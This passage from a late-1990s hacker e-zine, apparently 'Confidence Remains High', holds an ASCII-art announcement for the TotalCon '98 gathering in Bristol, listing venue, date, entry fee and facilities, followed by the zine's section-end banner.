  2460.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2461.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2462.   +------------------------------------+------------------------------------+
  2463. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2464.                          http://www.aom.co.uk/total/
  2465. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2466.  
  2467.  
  2468.  TotalCon '98 is now a reality, here are preliminary details...
  2469.  ==============================================================
  2470.  
  2471.  Venue        :  The Old Firestation, Silver Street, Bristol, ENGLAND
  2472.  Date         :  Late March 1998      (probably the last week)
  2473.  Duration     :  36 hours non-stop    (midday -> 10:00pm next day)
  2474.  
  2475.  Cost         :  £15 (15 UKP) ON THE DOOR, this will go back into
  2476.                                            the event (beer etc.)
  2477.  
  2478.  What         :  12 system network (with additional terminals) along
  2479.                  with full internet access, bring your laptops!
  2480.  
  2481.                  Loud music, live DJ's
  2482.                  Fully licensed bar downstairs / next door
  2483.                  Elite UV and spotlighting
  2484.  
  2485.                  ALOT of cool people
  2486.                  ^^^^^^^^^^^^^^^^^^^
  2487.  
  2488.       *** NO SPEAKERS WHATSOEVER *** *** NO SPEAKERS WHATSOEVER ***
  2489.  
  2490.  
  2491.  Travel        : Easily accessible by car, train, bus, plane or boat.
  2492.  
  2493.  Accomodation  : You can hang around the Firestation or book one of
  2494.                  many good hotels in the immediate area.
  2495.  
  2496.  Notes         : ALL CA$H RAISED AT THE DOOR FROM ENTRANCE FEES WILL
  2497.                  GO BACK INTO THE EVENT! WE WILL PURCHASE GREAT AMOUNTS
  2498.                  OF BEER AND FOOD, PROBABLY EVEN A LAPTOP AS A PRIZE!!
  2499.  
  2500. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2501.                          http://www.aom.co.uk/total/
  2502. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2503.   +------------------------------------+------------------------------------+
  2504.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2505.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2506.   +------------------------------------+------------------------------------+
  2507. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2508.                          http://www.aom.co.uk/total/
  2509. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2510.  
  2511. ───────────────────────────────────────────────────────────────────────────────
  2512. ===============================================================================
  2513. ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
  2514. ===============================================================================
  2515. ───────────────────────────────────────────────────────────────────────────────
  2516.  
  2517.                    .-----------[ An Official ]-----------.
  2518.                    :      .-----.  .----.   .--.--.      :
  2519.                    :      :  .--'  : .-. :  :  :  :      :
  2520.                    !_-::  :  :     : `-' ;  :  .  :  ::-_!
  2521.                    :~-::  :: :     :: . :   ::    :  ::-~:
  2522.                    :      ::.`--.  ::.:  :  ::.:  :      :
  2523.                    :      `-----'  `--'--'  `--'--'      :
  2524.                    !_-::                             ::-_!
  2525.                    :~-::-[ Confidence Remains High ]-::-~:
  2526.                    :~-::                             ::-~:
  2527.                    `-----------[ Production ]------------'
  2528.  
  2529.                          w3 r00l, ph34r 0ur tekn33k
  2530.  
  2531. ───────────────────────────────────────────────────────────────────────────────
  2532.